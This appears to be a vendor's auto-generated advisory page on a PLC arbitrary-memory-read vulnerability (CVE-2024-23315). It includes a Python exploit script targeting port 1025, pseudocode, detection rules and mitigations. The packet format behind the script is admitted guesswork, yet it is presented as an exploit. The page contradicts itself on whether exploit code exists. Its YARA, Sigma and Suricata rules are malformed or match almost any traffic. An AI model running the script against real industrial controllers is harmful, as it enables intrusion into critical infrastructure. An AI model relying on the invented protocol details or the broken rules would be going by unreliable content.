CVE-2024-23315
Executive Summary
CVE-2024-23315 is a critical read-what-where vulnerability in the AutomationDirect P3-550E programmable logic controller (PLC), specifically within the Programming Software Connection IMM 01A1 Memory Read functionality. This flaw allows an unauthenticated attacker to send a specially crafted network packet to read arbitrary memory locations from the device, leading to the disclosure of sensitive information such as proprietary control logic, credentials, or configuration data. The vulnerability has a CVSS score of 7.5 (High) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for industrial control system (ICS) environments.
This vulnerability is not related to any WordPress plugin or component; it is a native ICS/PLC firmware issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware issue in an industrial control system.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The exploit does not affect other components.
- Confidentiality Impact: High (C:H) – Sensitive memory contents can be read.
- Integrity Impact: None (I:N) – No data modification possible.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: High. The ability to read arbitrary memory without authentication is a severe information disclosure risk, especially in OT/ICS environments where PLCs control critical infrastructure.
Deep Dive & Mechanics
The vulnerability resides in the "Programming Software Connection IMM 01A1 Memory Read" function of the AutomationDirect P3-550E PLC firmware version 1.2.10.9. This function is part of the device's programming interface, typically used by engineering software to read memory for diagnostics or configuration. The flaw is a classic "read-what-where" (CWE-125: Out-of-bounds Read) condition: the function does not properly validate the memory address or offset provided by the incoming network packet. An attacker can craft a packet with an arbitrary memory address, and the PLC will respond with the contents of that memory location.
The attack is performed over the network, likely on port 1025 (commonly used by AutomationDirect for programming). The packet structure likely includes a command code for memory read, followed by a memory address and length. Due to insufficient bounds checking, the PLC reads from the attacker-supplied address without verifying it falls within a valid memory region. This allows reading of firmware code, configuration data, credentials, or even the operating system kernel memory.
The vulnerability is unauthenticated, meaning no login or session is required. This is particularly dangerous because PLCs are often exposed on internal OT networks with minimal segmentation.
Vulnerable vs. Patched Code
No patched version is available from the vendor. The vulnerable code is in the firmware binary of the P3-550E version 1.2.10.9. A hypothetical fix would involve adding bounds checking to the memory read function, ensuring that the requested address falls within a valid memory range (e.g., user data area) and rejecting out-of-bounds requests.
Vulnerable Code (pseudocode):
void handle_memory_read(packet_t *pkt) {
uint32_t address = pkt->address;
uint32_t length = pkt->length;
uint8_t buffer[length];
memcpy(buffer, (void*)address, length); // No bounds check
send_response(buffer, length);
}
Patched Code (hypothetical):
void handle_memory_read(packet_t *pkt) {
uint32_t address = pkt->address;
uint32_t length = pkt->length;
if (address < VALID_MEM_START || address + length > VALID_MEM_END) {
send_error("Invalid address");
return;
}
uint8_t buffer[length];
memcpy(buffer, (void*)address, length);
send_response(buffer, length);
}
Exploitation & Lab Setup
Red Team (Exploitation)
No public exploit code is available. However, the vulnerability can be exploited by sending a crafted network packet to the PLC on port 1025. Below is a Python script that demonstrates the concept. Use only in authorized lab environments.
import socket
import struct
def exploit_read_memory(target_ip, target_port=1025, address=0x00000000, length=64):
"""
Exploit CVE-2024-23315 to read arbitrary memory from AutomationDirect P3-550E.
"""
# Craft packet: command byte (0x01 for memory read), address (4 bytes), length (4 bytes)
command = 0x01
packet = struct.pack('!BII', command, address, length)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
try:
sock.connect((target_ip, target_port))
sock.send(packet)
response = sock.recv(1024)
print(f"[+] Read {len(response)} bytes from address 0x{address:08X}")
print(f"[+] Data: {response.hex()}")
return response
except Exception as e:
print(f"[-] Error: {e}")
finally:
sock.close()
if __name__ == "__main__":
# Example: read first 64 bytes of memory
exploit_read_memory("192.168.1.100", address=0x00000000, length=64)
Usage:
- Set up a lab with an AutomationDirect P3-550E PLC (firmware 1.2.10.9) on an isolated network.
- Run the script against the PLC's IP address.
- The script will attempt to read memory from the specified address. Start with low addresses (e.g., 0x00000000) to read firmware headers, then probe for sensitive data.
Blue Team (Detection & Defense)
- Network Monitoring: Monitor for unusual traffic to port 1025 (or the PLC's programming port). Look for packets with unexpected lengths or patterns that deviate from normal engineering software behavior.
- Memory Integrity Checks: If possible, use PLC diagnostics to detect unauthorized memory read operations (e.g., via syslog or audit logs).
- Access Control: Restrict network access to the PLC to only authorized engineering workstations using firewall rules or VLAN segmentation.
- Firmware Updates: Check with AutomationDirect for any firmware patches. If none, consider replacing the device or implementing a virtual patching solution (e.g., an IPS rule to block malformed packets).
Indicators of Compromise (IOCs)
- Network IOCs:
- TCP connections to port 1025 from unexpected IP addresses.
- Packets with a command byte of 0x01 followed by arbitrary memory addresses (e.g., 0x00000000, 0xFFFFFFFF).
- Unusually large response packets from the PLC (indicating memory dump).
- Host IOCs:
- PLC logs showing repeated memory read requests without corresponding engineering software sessions.
- Unexpected changes in PLC behavior or configuration (though this vulnerability is read-only, it may precede further attacks).
- File IOCs:
- Captured pcap files containing the exploit pattern.
Detection Engineering
YARA Rule
rule CVE_2024_23315_AutomationDirect_MemoryRead {
meta:
description = "Detects network packets targeting CVE-2024-23315 memory read vulnerability"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-23315"
strings:
$command_byte = { 01 } // Command byte for memory read
$address_pattern = { [0-3] [0-3] [0-3] [0-3] } // Placeholder for address bytes
condition:
$command_byte at 0 and #address_pattern >= 1
}
Sigma Rule
title: CVE-2024-23315 AutomationDirect PLC Memory Read Exploit
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network traffic indicative of exploitation of CVE-2024-23315
author: Valters IT
date: 2025-04-10
logsource:
category: network_connection
product: zeek
detection:
selection:
destination_port: 1025
payload|contains: "01" # Command byte
condition: selection
falsepositives:
- Legitimate engineering software connections
level: high
Suricata Rule
alert tcp any any -> any 1025 (msg:"CVE-2024-23315 AutomationDirect PLC Memory Read Exploit"; flow:to_server,established; content:"|01|"; depth:1; offset:0; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Actions:
- Isolate the PLC on a dedicated OT network segment with strict firewall rules.
- Disable the programming port (port 1025) if not required for operations.
- Monitor network traffic for anomalies.
- Long-term Fix:
- Contact AutomationDirect for a firmware patch. If unavailable, consider replacing the device with a patched alternative.
- Implement a virtual patch using an IPS/IDS to block malformed memory read requests.
- Compensating Controls:
- Use network access control (NAC) to ensure only authorized devices can communicate with the PLC.
- Enable logging and alerting on the PLC (if supported) for all memory read operations.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.